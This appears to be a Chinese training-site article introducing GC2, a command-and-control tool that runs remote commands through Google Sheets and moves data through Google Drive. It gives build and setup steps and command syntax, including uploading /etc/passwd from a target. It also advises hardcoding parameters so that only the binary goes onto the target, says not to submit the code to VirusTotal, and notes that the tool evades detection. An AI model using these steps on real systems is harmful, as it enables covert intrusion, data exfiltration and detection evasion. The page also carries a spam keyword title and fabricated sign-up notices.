一区二区三区中文国产亚洲_另类视频区第一页_日韩精品免费视频_女人免费视频_国产综合精品久久亚洲

千鋒教育-做有情懷、有良心、有品質(zhì)的職業(yè)教育機(jī)構(gòu)

手機(jī)站
千鋒教育

千鋒學(xué)習(xí)站 | 隨時隨地免費學(xué)

千鋒教育

掃一掃進(jìn)入千鋒手機(jī)站

領(lǐng)取全套視頻
千鋒教育

關(guān)注千鋒學(xué)習(xí)站小程序
隨時隨地免費學(xué)習(xí)課程

當(dāng)前位置:首頁  >  技術(shù)干貨  > 一款功能強大的遠(yuǎn)程命令控制工具

一款功能強大的遠(yuǎn)程命令控制工具

來源:千鋒教育
發(fā)布人:qyf
時間: 2022-07-26 15:21:00 1658820060

  關(guān)于GC2

  GC2是一款功能強大的命令控制應(yīng)用工具,該工具將允許廣大安全研究人員或滲透測試人員使用Google Sheet來在目標(biāo)設(shè)備上執(zhí)行遠(yuǎn)程控制命令,并使用Google Drive來提取目標(biāo)設(shè)備中的敏感數(shù)據(jù)。

  值得一提的是,該工具可以直接提供命令控制服務(wù),而無需進(jìn)行其他額外的安裝和配置,因此可以大大提高紅隊滲透活動的效率。除此之外,這款工具只能跟Google的域名(*.google.com)交互,因此也增加了檢測GC2的難度。

  請注意:千萬不要將已編譯好的代碼上傳到VirusTotal上!

  功能介紹

  使用Google Sheet作為終端窗口來實現(xiàn)命令控制與命令執(zhí)行。

  使用Google Drive向目標(biāo)主機(jī)傳輸和下載文件。

  使用Google Drive從目標(biāo)主機(jī)中提取數(shù)據(jù)。

  退出執(zhí)行。

  工具運行流程

圖片1

  工具安裝&配置

  第一步:使用下列命令將該項目源碼克隆至本地,然后構(gòu)建項目代碼:

  git clone https://github.com/looCiprian/GC2-sheet

  cd GC2-sheet

  go build gc2-sheet.go

  第二步:創(chuàng)建一個新的Google “服務(wù)賬號”,此時我們需要點擊https://console.cloud.google.com/來創(chuàng)建該服務(wù)賬號所需的.json密鑰文件。

  第三步:啟用Google Sheet API和Google Drive API。

  第四步:配置Google Sheet和Google Drive。創(chuàng)建一個新的Google Sheet,并添加服務(wù)賬號至spreadsheet的Editor組:

圖片2

  創(chuàng)建一個新的Google Drive文件夾,并將服務(wù)賬號添加進(jìn)這個文件夾的Editor組中:

圖片3

  第五步:使用下列命令啟動GC2:

  gc2-sheet --key--sheet--drive

  注意事項:你可以將參數(shù)以硬編碼的形式寫入進(jìn)代碼中,并只將可執(zhí)行程序上傳至目標(biāo)設(shè)備上。

  工具使用

  命令執(zhí)行

  GC2每五秒會向spreadsheet發(fā)送一次請求,并檢查是否存在未執(zhí)行的新命令。命令必須插入值請求中的“A”字段記錄中,而命令輸出結(jié)果將存儲在“B”字段中。

  數(shù)據(jù)提取

  我們可以使用指定的命令來在目標(biāo)設(shè)備上執(zhí)行文件上傳或下載任務(wù):

  From Target to Google Drive

  upload;

  Example:

  upload;/etc/passwd

  下載文件

  我們可以使用指定的命令來在目標(biāo)設(shè)備上執(zhí)行文件上傳或下載任務(wù):

  From Google Drive to Target

  download;;

  Example:

  download;;/home/user/downloaded.txt

  退出執(zhí)行

  通過發(fā)送“exit”命令,GC2將會從目標(biāo)設(shè)備上遠(yuǎn)程刪除自身代碼,并終止自身進(jìn)程的運行。注意,如果開啟進(jìn)程時使用了符號鏈接,那么命令執(zhí)行結(jié)果可能會是符號鏈接或路徑所指向的目標(biāo),從而導(dǎo)致刪除錯誤的目標(biāo)。

  項目地址

  https://github.com/looCiprian/GC2-sheet

  更多關(guān)于“網(wǎng)絡(luò)安全培訓(xùn)”的問題,歡迎咨詢千鋒教育在線名師。千鋒教育多年辦學(xué),課程大綱緊跟企業(yè)需求,更科學(xué)更嚴(yán)謹(jǐn),每年培養(yǎng)泛IT人才近2萬人。不論你是零基礎(chǔ)還是想提升,都可以找到適合的班型,千鋒教育隨時歡迎你來試聽。

tags:
聲明:本站稿件版權(quán)均屬千鋒教育所有,未經(jīng)許可不得擅自轉(zhuǎn)載。
10年以上業(yè)內(nèi)強師集結(jié),手把手帶你蛻變精英
請您保持通訊暢通,專屬學(xué)習(xí)老師24小時內(nèi)將與您1V1溝通
免費領(lǐng)取
今日已有369人領(lǐng)取成功
劉同學(xué) 138****2860 剛剛成功領(lǐng)取
王同學(xué) 131****2015 剛剛成功領(lǐng)取
張同學(xué) 133****4652 剛剛成功領(lǐng)取
李同學(xué) 135****8607 剛剛成功領(lǐng)取
楊同學(xué) 132****5667 剛剛成功領(lǐng)取
岳同學(xué) 134****6652 剛剛成功領(lǐng)取
梁同學(xué) 157****2950 剛剛成功領(lǐng)取
劉同學(xué) 189****1015 剛剛成功領(lǐng)取
張同學(xué) 155****4678 剛剛成功領(lǐng)取
鄒同學(xué) 139****2907 剛剛成功領(lǐng)取
董同學(xué) 138****2867 剛剛成功領(lǐng)取
周同學(xué) 136****3602 剛剛成功領(lǐng)取
相關(guān)推薦HOT
云快照與自動備份有什么區(qū)別?

1、定義和目標(biāo)不同云快照的主要目標(biāo)是提供一種快速恢復(fù)數(shù)據(jù)的方法,它只記錄在快照時間點后的數(shù)據(jù)變化,而不是所有的數(shù)據(jù)。自動備份的主要目標(biāo)...詳情>>

2023-10-14 12:48:59
服務(wù)器為什么要用Linux?

服務(wù)器為什么要用Linux作為服務(wù)器操作系統(tǒng)的優(yōu)選,Linux在眾多選擇中脫穎而出。Linux作為服務(wù)器操作系統(tǒng)的優(yōu)選,有其獨特的優(yōu)勢和特點。包括其...詳情>>

2023-10-14 12:34:11
ORM解決的主要問題是什么?

ORM(對象關(guān)系映射)解決的主要問題是將關(guān)系數(shù)據(jù)庫與面向?qū)ο缶幊讨g的映射困境。在傳統(tǒng)的關(guān)系數(shù)據(jù)庫中,數(shù)據(jù)以表格的形式存儲,而在面向?qū)ο?..詳情>>

2023-10-14 12:26:19
Go為什么不支持三元運算符?

Go為什么不支持三元運算符Go語言是一種以簡潔和有效性為目標(biāo)的編程語言,因此在設(shè)計過程中,Go的設(shè)計者刻意排除了一些他們認(rèn)為可能導(dǎo)致復(fù)雜性或...詳情>>

2023-10-14 12:12:36
IT通常說的平臺是什么意思?

在信息技術(shù)(IT)領(lǐng)域,”平臺”這個詞有著廣泛的含義,它常常指代支持軟件應(yīng)用開發(fā)和運行的基礎(chǔ)框架和環(huán)境。以下是對”平臺”這個概念的更深入...詳情>>

2023-10-14 11:55:36